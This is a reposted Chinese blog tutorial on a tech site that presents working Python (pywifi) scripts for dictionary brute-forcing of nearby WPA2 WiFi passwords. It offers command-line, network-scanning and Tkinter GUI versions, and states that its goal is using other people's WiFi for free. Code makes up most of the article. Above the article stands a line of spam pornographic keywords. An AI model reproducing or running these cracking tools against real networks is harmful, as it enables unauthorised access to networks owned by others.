chinese直男口爆体育生外卖, 99久久er热在这里只有精品99, 又色又爽又黄18禁美女裸身无遮挡, gogogo高清免费观看日本电视,私密按摩师高清版在线,人妻视频毛茸茸,91论坛 兴趣闲谈,欧美 亚洲 精品 8区,国产精品久久久久精品免费

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

如何通過(guò)Python腳本實(shí)現(xiàn)WIFI密碼的暴力破解

馬哥Linux運(yùn)維 ? 來(lái)源:CSDN技術(shù)社區(qū) ? 作者:Tr0e ? 2021-09-10 17:09 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

前言

本文將記錄學(xué)習(xí)下如何通過(guò) Python 腳本實(shí)現(xiàn) WIFI 密碼的暴力破解,從而實(shí)現(xiàn)免費(fèi)蹭網(wǎng)。

無(wú)圖形界面

先來(lái)看看沒(méi)有圖形界面版的爆破腳本。

WIFI爆破

import pywififrom pywifi import constimport timeimport datetime

# 測(cè)試連接,返回鏈接結(jié)果def wifiConnect(pwd): # 抓取網(wǎng)卡接口 wifi = pywifi.PyWiFi() # 獲取第一個(gè)無(wú)線網(wǎng)卡 ifaces = wifi.interfaces()[0] # 斷開(kāi)所有連接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: # 創(chuàng)建WiFi連接文件 profile = pywifi.Profile() # 要連接WiFi的名稱(chēng) profile.ssid = “Tr0e” # 網(wǎng)卡的開(kāi)放狀態(tài) profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元 profile.cipher = const.CIPHER_TYPE_CCMP # 調(diào)用密碼 profile.key = pwd # 刪除所有連接過(guò)的wifi文件 ifaces.remove_all_network_profiles() # 設(shè)定新的連接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi連接時(shí)間 time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print(“已有wifi連接”)

# 讀取密碼本def readPassword(): success = False print(“****************** WIFI破解 ******************”) # 密碼本路徑 path = “pwd.txt” # 打開(kāi)文件 file = open(path, “r”) start = datetime.datetime.now() while True: try: pwd = file.readline() # 去除密碼的末尾換行符 pwd = pwd.strip(‘

’) bool = wifiConnect(pwd) if bool: print(“[*] 密碼已破解:”, pwd) print(“[*] WiFi已自動(dòng)連接?。?!”) success = True break else: # 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán) print(“正在破解 SSID 為 %s 的 WIFI密碼,當(dāng)前校驗(yàn)的密碼為:%s”%(“Tr0e”,pwd)) except: continue end = datetime.datetime.now() if(success): print(“[*] 本次破解WIFI密碼一共用了多長(zhǎng)時(shí)間:{}”.format(end - start)) else: print(“[*] 很遺憾未能幫你破解出當(dāng)前指定WIFI的密碼,請(qǐng)更換密碼字典后重新嘗試!”) exit(0)

if __name__==“__main__”: readPassword()

代碼運(yùn)行效果:

089f0b22-120d-11ec-8fb8-12bb97331649.png

腳本優(yōu)化

以上腳本需內(nèi)嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進(jìn)行改造優(yōu)化:

import pywifiimport timefrom pywifi import const

# WiFi掃描模塊def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個(gè)無(wú)線網(wǎng)卡 interface = wifi.interfaces()[0] # 開(kāi)始掃描 interface.scan() for i in range(4): time.sleep(1) print(‘

掃描可用 WiFi 中,請(qǐng)稍后。。。(’ + str(3 - i), end=‘)’) print(‘

掃描完成!

’ + ‘-’ * 38) print(‘

{:4}{:6}{}’.format(‘編號(hào)’, ‘信號(hào)強(qiáng)度’, ‘wifi名’)) # 掃描結(jié)果,scan_results()返回一個(gè)集,存放的是每個(gè)wifi對(duì)象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問(wèn)題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode(‘raw_unicode_escape’).decode(‘utf-8’)) wifi_name_set.add(wifi_name_and_signal) # 存入列表并按信號(hào)排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num 《 len(wifi_name_list): print(‘

{:《6d}{:《8d}{}’.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print(‘-’ * 38) # 返回wifi列表 return wifi_name_list

# WIFI破解模塊def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input(“請(qǐng)輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個(gè)密碼占據(jù)1行)的路徑:”) with open(wifi_dic_path, ‘r’) as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip(‘

’) # 創(chuàng)建wifi對(duì)象 wifi = pywifi.PyWiFi() # 創(chuàng)建網(wǎng)卡對(duì)象,為第一個(gè)wifi網(wǎng)卡 interface = wifi.interfaces()[0] # 斷開(kāi)所有wifi連接 interface.disconnect() # 等待其斷開(kāi) while interface.status() == 4: # 當(dāng)其處于連接狀態(tài)時(shí),利用循環(huán)等待其斷開(kāi) pass # 創(chuàng)建連接文件(對(duì)象) profile = pywifi.Profile() # wifi名稱(chēng) profile.ssid = wifi_name # 需要認(rèn)證 profile.auth = const.AUTH_ALG_OPEN # wifi默認(rèn)加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連接文件 interface.remove_all_network_profiles() # 設(shè)置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開(kāi)始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time 《 1.5: # 接口狀態(tài)為4代表連接成功(當(dāng)嘗試時(shí)間大于1.5秒之后則為錯(cuò)誤密碼,經(jīng)測(cè)試測(cè)正確密碼一般都在1.5秒內(nèi)連接,若要提高準(zhǔn)確性可以設(shè)置為2s或以上,相應(yīng)暴力破解速度就會(huì)變慢) if interface.status() == 4: print(f‘

連接成功!密碼為:{pwd}’) exit(0) else: print(f‘

正在利用密碼 {pwd} 嘗試破解。’, end=‘’)

# 主函數(shù)def main(): # 退出標(biāo)致 exit_flag = 0 # 目標(biāo)編號(hào) target_num = -1 while not exit_flag: try: print(‘WiFi萬(wàn)能鑰匙’.center(35, ‘-’)) # 調(diào)用掃描模塊,返回一個(gè)排序后的wifi列表 wifi_list = wifi_scan() # 讓用戶(hù)選擇要破解的wifi編號(hào),并對(duì)用戶(hù)輸入的編號(hào)進(jìn)行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input(‘請(qǐng)選擇你要嘗試破解的wifi:’)) # 如果要選擇的wifi編號(hào)在列表內(nèi),繼續(xù)二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認(rèn) while not choose_exit_flag: try: choose = str(input(f‘你選擇要破解的WiFi名稱(chēng)是:{wifi_list[target_num][1]},確定嗎?(Y/N)’)) # 對(duì)用戶(hù)輸入進(jìn)行小寫(xiě)處理,并判斷 if choose.lower() == ‘y’: choose_exit_flag = 1 elif choose.lower() == ‘n’: break # 處理用戶(hù)其它字母輸入 else: print(‘只能輸入 Y/N 哦o(* ̄︶ ̄*)o’) # 處理用戶(hù)非字母輸入 except ValueError: print(‘只能輸入 Y/N 哦o(* ̄︶ ̄*)o’) # 退出破解 if choose_exit_flag == 1: break else: print(‘請(qǐng)重新輸入哦(*^▽^*)’) except ValueError: print(‘只能輸入數(shù)字哦o(* ̄︶ ̄*)o’) # 密碼破解,傳入用戶(hù)選擇的wifi名稱(chēng) wifi_password_crack(wifi_list[target_num][1]) print(‘-’ * 38) exit_flag = 1 except Exception as e: print(e) raise e

if __name__ == ‘__main__’: main()

腳本運(yùn)行效果如下:

08ad8d14-120d-11ec-8fb8-12bb97331649.png

上述代碼實(shí)現(xiàn)了依據(jù)信號(hào)強(qiáng)度枚舉當(dāng)前附近的所有 WIFI 名稱(chēng),并且可供用戶(hù)自主選擇需要暴力破解的 WIFI,同時(shí)還可靈活指定暴力破解的字典,相對(duì)而言體驗(yàn)感提升了不少。進(jìn)一步也可以將上述腳本打包生成 exe 文件,雙擊運(yùn)行效果如下:

08c00d7c-120d-11ec-8fb8-12bb97331649.png

圖形化界面

下面基于 Python 的 GUI 圖形界面開(kāi)發(fā)庫(kù) Tkinter 優(yōu)化上述腳本,實(shí)現(xiàn)友好的可視化 WIFI 暴力破解界面工具。

簡(jiǎn)單版UI

from tkinter import *from pywifi import constimport pywifiimport time

# 主要步驟:# 1、獲取第一個(gè)無(wú)線網(wǎng)卡# 2、斷開(kāi)所有的wifi# 3、讀取密碼本# 4、設(shè)置睡眠時(shí)間def wificonnect(str, wifiname): # 窗口無(wú)線對(duì)象 wifi = pywifi.PyWiFi() # 抓取第一個(gè)無(wú)線網(wǎng)卡 ifaces = wifi.interfaces()[0] # 斷開(kāi)所有的wifi ifaces.disconnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: # 創(chuàng)建wifi連接文件 profile = pywifi.Profile() profile.ssid = wifiname # wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi的密碼 profile.key = str # 網(wǎng)卡的開(kāi)發(fā) profile.auth = const.AUTH_ALG_OPEN # 加密單元,這里需要寫(xiě)點(diǎn)加密單元否則無(wú)法連接 profile.cipher = const.CIPHER_TYPE_CCMP # 刪除所有的wifi文件 ifaces.remove_all_network_profiles() # 設(shè)置新的連接文件 tep_profile = ifaces.add_network_profile(profile) # 連接 ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False

def readPwd(): # 獲取wiif名稱(chēng) wifiname = entry.get().strip() path = r‘。/pwd.txt’ file = open(path, ‘r’) while True: try: # 讀取 mystr = file.readline().strip() # 測(cè)試連接 bool = wificonnect(mystr, wifiname) if bool: text.insert(END, ‘密碼正確’ + mystr) text.see(END) text.update() file.close() break else: text.insert(END, ‘密碼錯(cuò)誤’ + mystr) text.see(END) text.update() except: continue

# 創(chuàng)建窗口root = Tk()root.title(‘wifi破解’)root.geometry(‘500x400’)# 標(biāo)簽label = Label(root, text=‘輸入要破解的WIFI名稱(chēng):’)# 定位label.grid()# 輸入控件entry = Entry(root, font=(‘微軟雅黑’, 14))entry.grid(row=0, column=1)# 列表控件text = Listbox(root, font=(‘微軟雅黑’, 14), width=40, height=10)text.grid(row=1, columnspan=2)# 按鈕button = Button(root, text=‘開(kāi)始破解’, width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)# 顯示窗口root.mainloop()

腳本運(yùn)行效果:

08d9343c-120d-11ec-8fb8-12bb97331649.png

UI升級(jí)版

以上圖形界面未允許選擇密碼字典,下面進(jìn)行優(yōu)化升級(jí):

from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog # 在Gui中打開(kāi)文件瀏覽import tkinter.messagebox # 打開(kāi)tkiner的消息提醒框

class MY_GUI(): def __init__(self, init_window_name): self.init_window_name = init_window_name # 密碼文件路徑 self.get_value = StringVar() # 設(shè)置可變內(nèi)容 # 獲取破解wifi賬號(hào) self.get_wifi_value = StringVar() # 獲取wifi密碼 self.get_wifimm_value = StringVar() # 抓取網(wǎng)卡接口 self.wifi = pywifi.PyWiFi() # 抓取第一個(gè)無(wú)線網(wǎng)卡 self.iface = self.wifi.interfaces()[0] # 測(cè)試鏈接斷開(kāi)所有鏈接 self.iface.disconnect() time.sleep(1) # 休眠1秒 # 測(cè)試網(wǎng)卡是否屬于斷開(kāi)狀態(tài) assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

def __str__(self): # 自動(dòng)會(huì)調(diào)用的函數(shù),返回自身的網(wǎng)卡 return ‘(WIFI:%s,%s)’ % (self.wifi, self.iface.name())

# 設(shè)置窗口 def set_init_window(self): self.init_window_name.title(“WIFI破解工具”) self.init_window_name.geometry(‘+500+200’) labelframe = LabelFrame(width=400, height=200, text=“配置”) # 框架,以下對(duì)象都是對(duì)于labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe, text=“搜索附近WiFi”, command=self.scans_wifi_list).grid(column=0, row=0) self.pojie = Button(labelframe, text=“開(kāi)始破解”, command=self.readPassWord).grid(column=1, row=0) self.label = Label(labelframe, text=“目錄路徑:”).grid(column=0, row=1) self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1) self.file = Button(labelframe, text=“添加密碼文件目錄”, command=self.add_mm_file).grid(column=2, row=1) self.wifi_text = Label(labelframe, text=“WiFi賬號(hào):”).grid(column=0, row=2) self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2) self.wifi_mm_text = Label(labelframe, text=“WiFi密碼:”).grid(column=2, row=2) self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W) self.wifi_labelframe = LabelFrame(text=“wifi列表”) self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW) # 定義樹(shù)形結(jié)構(gòu)與滾動(dòng)條 self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show=“headings”, columns=(“a”, “b”, “c”, “d”)) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的標(biāo)題 self.wifi_tree.column(“a”, width=50, anchor=“center”) self.wifi_tree.column(“b”, width=100, anchor=“center”) self.wifi_tree.column(“c”, width=100, anchor=“center”) self.wifi_tree.column(“d”, width=100, anchor=“center”) self.wifi_tree.heading(“a”, text=“WiFiID”) self.wifi_tree.heading(“b”, text=“SSID”) self.wifi_tree.heading(“c”, text=“BSSID”) self.wifi_tree.heading(“d”, text=“signal”) self.wifi_tree.grid(row=4, column=0, sticky=NSEW) self.wifi_tree.bind(“《Double-1》”, self.onDBClick) self.vbar.grid(row=4, column=1, sticky=NS)

# 搜索wifi def scans_wifi_list(self): # 掃描周?chē)鷚ifi列表 # 開(kāi)始掃描 print(“^_^ 開(kāi)始掃描附近wifi.。?!保?self.iface.scan() time.sleep(15) # 在若干秒后獲取掃描結(jié)果 scanres = self.iface.scan_results() # 統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量 nums = len(scanres) print(“數(shù)量: %s” % (nums)) # 實(shí)際數(shù)據(jù) self.show_scans_wifi_list(scanres) return scanres

# 顯示wifi列表 def show_scans_wifi_list(self, scans_res): for index, wifi_info in enumerate(scans_res): self.wifi_tree.insert(“”, ‘end’, values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

# 添加密碼文件目錄 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename)

# Treeview綁定事件 def onDBClick(self, event): self.sels = event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels, “values”)[1])

# 讀取密碼字典,進(jìn)行匹配 def readPassWord(self): self.getFilePath = self.get_value.get() self.get_wifissid = self.get_wifi_value.get() pwdfilehander = open(self.getFilePath, “r”, errors=“ignore”) while True: try: self.pwdStr = pwdfilehander.readline() if not self.pwdStr: break self.bool1 = self.connect(self.pwdStr, self.get_wifissid) if self.bool1: self.res = “[*] 密碼正確!wifi名:%s,匹配密碼:%s ” % (self.get_wifissid, self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo(‘提示’, ‘破解成功?。。 ?print(self.res) break else: self.res = “[*] 密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s” % (self.get_wifissid, self.pwdStr) print(self.res) time.sleep(3) except: continue

# 對(duì)wifi和密碼進(jìn)行匹配 def connect(self, pwd_Str, wifi_ssid): # 創(chuàng)建wifi鏈接文件 self.profile = pywifi.Profile() self.profile.ssid = wifi_ssid # wifi名稱(chēng) self.profile.auth = const.AUTH_ALG_OPEN # 網(wǎng)卡的開(kāi)放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法 self.profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元 self.profile.key = pwd_Str # 密碼 self.iface.remove_all_network_profiles() # 刪除所有的wifi文件 self.tmp_profile = self.iface.add_network_profile(self.profile) # 設(shè)定新的鏈接文件 self.iface.connect(self.tmp_profile) # 鏈接 time.sleep(5) if self.iface.status() == const.IFACE_CONNECTED: # 判斷是否連接上 isOK = True else: isOK = False self.iface.disconnect() # 斷開(kāi) time.sleep(1) # 檢查斷開(kāi)狀態(tài) assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOK

def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop()

if __name__ == “__main__”: gui_start()

腳本運(yùn)行效果如下:

08e4f9c0-120d-11ec-8fb8-12bb97331649.png

以上基于 Python 的 GUI 圖形界面開(kāi)發(fā)庫(kù) Tkinter,實(shí)際上 Python 的 GUI 編程可以借助 PyQt5 來(lái)自動(dòng)生成 UI 代碼。

總結(jié)

本文學(xué)習(xí)了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎(chǔ)使用。所演示的代碼的不足在于均沒(méi)有使用多線程進(jìn)行 WIFI 連接測(cè)試,實(shí)際上因?yàn)?WIFI 連接測(cè)試需要一定的耗時(shí)(3-5秒),故使用多線程將能減少暴力破解過(guò)程的等待時(shí)間。

原文鏈接:https://blog.csdn.net/weixin_39190897/article/details/119778471

編輯:jq

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • WIFI
    +關(guān)注

    關(guān)注

    81

    文章

    5437

    瀏覽量

    210643
  • 代碼
    +關(guān)注

    關(guān)注

    30

    文章

    4922

    瀏覽量

    72237
  • GUI
    GUI
    +關(guān)注

    關(guān)注

    3

    文章

    688

    瀏覽量

    42370
  • python
    +關(guān)注

    關(guān)注

    56

    文章

    4848

    瀏覽量

    88953

原文標(biāo)題:Python暴力破解附近局域網(wǎng)WiFi密碼

文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    termux調(diào)試python猜數(shù)字游戲

    用termux做一個(gè)猜數(shù)字游戲 下面是在Termux中創(chuàng)建猜數(shù)字游戲的步驟及完整實(shí)現(xiàn)方案,結(jié)合Python實(shí)現(xiàn)(最適配Termux環(huán)境): ? 一、環(huán)境準(zhǔn)備(Termux基礎(chǔ)配置) 1.
    發(fā)表于 08-29 17:15

    Python腳本實(shí)現(xiàn)運(yùn)維工作自動(dòng)化案例

    還在為重復(fù)性運(yùn)維工作而煩惱?每天被各種告警、監(jiān)控、部署搞得焦頭爛額?作為一名有10年經(jīng)驗(yàn)的運(yùn)維老司機(jī),今天分享5個(gè)超實(shí)用的Python自動(dòng)化腳本,讓你的運(yùn)維工作效率提升300%!這些都是我在生產(chǎn)環(huán)境中實(shí)際使用的案例,代碼簡(jiǎn)潔高效,拿來(lái)即用!
    的頭像 發(fā)表于 08-27 14:46 ?519次閱讀

    仁懋MOS:暴力風(fēng)扇高效運(yùn)轉(zhuǎn)的幕后功臣

    暴力風(fēng)扇的世界里,每一次強(qiáng)勁風(fēng)力的輸出,都離不開(kāi)眾多精密器件的協(xié)同工作。而仁懋電子的MOSFET(金屬氧化物半導(dǎo)體場(chǎng)效應(yīng)晶體管),憑借其出色的性能,成為了暴力風(fēng)扇產(chǎn)品的關(guān)鍵選擇。下面,就為大家?guī)?lái)
    的頭像 發(fā)表于 07-24 17:43 ?496次閱讀
    仁懋MOS:<b class='flag-5'>暴力</b>風(fēng)扇高效運(yùn)轉(zhuǎn)的幕后功臣

    低功耗藍(lán)牙智能門(mén)鎖應(yīng)用

    的訪客鑰匙。 3、更高的安全性。所有通信數(shù)據(jù)采用非對(duì)稱(chēng)加密算法,防止暴力破解。 4、更快的響應(yīng)速度,更低的功耗。速度快,實(shí)現(xiàn)秒級(jí)開(kāi)鎖;采用業(yè)界超低功耗無(wú)線通信方案,相同電池容量下,更長(zhǎng)待機(jī)、使用時(shí)間
    發(fā)表于 06-25 09:47

    如何防止SSH暴力破解

    密碼要寫(xiě)的足夠的復(fù)雜,通常建議將密碼寫(xiě)16位,并且無(wú)連貫的數(shù)字或者字母;當(dāng)然也可以固定一個(gè)時(shí)間修改一次密碼,推薦是一個(gè)月修改一次會(huì)穩(wěn)妥一些.
    的頭像 發(fā)表于 05-12 16:18 ?733次閱讀
    如何防止SSH<b class='flag-5'>暴力破解</b>

    請(qǐng)問(wèn)如何使用init腳本在i.MX8ULP上啟用WiFi以避免在每次啟動(dòng)時(shí)配置WiFi?

    /etc/wpa_supplicant.conf -D nl80211 但是,配置會(huì)在每次啟動(dòng)時(shí)重置。如何啟用 WiFi uisng init 腳本,使其在啟動(dòng)時(shí)自動(dòng)啟動(dòng)?。
    發(fā)表于 04-10 07:21

    零基礎(chǔ)入門(mén):如何在樹(shù)莓派上編寫(xiě)和運(yùn)行Python程序?

    是一種非常有用的編程語(yǔ)言,其語(yǔ)法易于閱讀,允許程序員使用比匯編、C或Java等語(yǔ)言更少的代碼行。Python編程語(yǔ)言最初實(shí)際上是作為L(zhǎng)inux的腳本語(yǔ)言而開(kāi)發(fā)的。Py
    的頭像 發(fā)表于 03-25 09:27 ?1269次閱讀
    零基礎(chǔ)入門(mén):如何在樹(shù)莓派上編寫(xiě)和運(yùn)行<b class='flag-5'>Python</b>程序?

    低價(jià)不貴!安信可WiFi+BLE模組Ai-WB2系列

    的安全性,能阻止網(wǎng)絡(luò)惡意攻擊、暴力破解等,即使在使用酒店、商場(chǎng)等公用Wi-Fi網(wǎng)絡(luò)情況下,也能夠有效保護(hù)用戶(hù)隱私安全。 02延續(xù)經(jīng)典
    的頭像 發(fā)表于 03-06 08:49 ?687次閱讀
    低價(jià)不貴!安信可<b class='flag-5'>WiFi</b>+BLE模組Ai-WB2系列

    家里wifi密碼忘了該怎樣找回密碼

    家中Wi-Fi密碼的有效方法,幫助大家輕松應(yīng)對(duì)這一日常小難題。 一、通過(guò)手機(jī)WLAN二維碼 這是最簡(jiǎn)單的方法,打開(kāi)手機(jī)WiFi,點(diǎn)入,找到“WLAN二維碼”,點(diǎn)進(jìn)去就可以看到密碼。這種
    的頭像 發(fā)表于 03-05 11:06 ?4390次閱讀
    家里<b class='flag-5'>wifi</b><b class='flag-5'>密碼</b>忘了該怎樣找回<b class='flag-5'>密碼</b>

    創(chuàng)建OpenVINO? Python腳本,運(yùn)行可執(zhí)行文件時(shí)遇到的報(bào)錯(cuò)怎么解決?

    創(chuàng)建OpenVINO? Python 腳本: from openvino.inference_engine import IECore ie = IECore() print(\"
    發(fā)表于 03-05 10:20

    使用Python實(shí)現(xiàn)xgboost教程

    使用Python實(shí)現(xiàn)XGBoost模型通常涉及以下幾個(gè)步驟:數(shù)據(jù)準(zhǔn)備、模型訓(xùn)練、模型評(píng)估和模型預(yù)測(cè)。以下是一個(gè)詳細(xì)的教程,指導(dǎo)你如何在Python中使用XGBoost。 1. 安裝XGBoost
    的頭像 發(fā)表于 01-19 11:21 ?1971次閱讀

    windows服務(wù)器備份mysql腳本

    一、linux備份 使用python腳本,要求有python3和mysqldump #! /usr/bin/python36# -*- coding: utf-8 -*-import
    的頭像 發(fā)表于 01-02 09:14 ?578次閱讀

    常見(jiàn)的加密算法有哪些?它們各自的優(yōu)勢(shì)是什么?

    在于其出色的安全性能和高效的實(shí)現(xiàn)方式,已成為目前最廣泛使用的加密算法之一。它能夠抵御暴力破解攻擊,且在各種硬件和軟件平臺(tái)上都能實(shí)現(xiàn)高效的加密和解密操作。 DES(Data Encryption
    的頭像 發(fā)表于 12-17 15:57 ?1542次閱讀

    Linux從零到精通:最簡(jiǎn)單的Shell腳本入門(mén)教程

    通過(guò)簡(jiǎn)單的命令和腳本,實(shí)現(xiàn)對(duì)系統(tǒng)的靈活控制和自動(dòng)化管理。 shell腳本前言 shell腳本入門(mén) shell變量基礎(chǔ) shell變量子串 s
    的頭像 發(fā)表于 12-05 09:56 ?2091次閱讀
    Linux從零到精通:最簡(jiǎn)單的Shell<b class='flag-5'>腳本</b>入門(mén)教程

    @視覺(jué)工程師丨15分鐘上手《AIDI3.2腳本開(kāi)發(fā)教程》視頻,請(qǐng)查收!

    AIDI有什么系統(tǒng)性地進(jìn)階開(kāi)發(fā)教程?AIDI調(diào)用Python腳本的基本原理是什么?常見(jiàn)的Python異常如何處理?區(qū)域計(jì)算工具有哪些常用案例?……為幫助廣大視覺(jué)工程師及開(kāi)發(fā)者更好地掌握AI視覺(jué)算法
    的頭像 發(fā)表于 11-09 01:06 ?1221次閱讀
    @視覺(jué)工程師丨15分鐘上手《AIDI3.2<b class='flag-5'>腳本</b>開(kāi)發(fā)教程》視頻,請(qǐng)查收!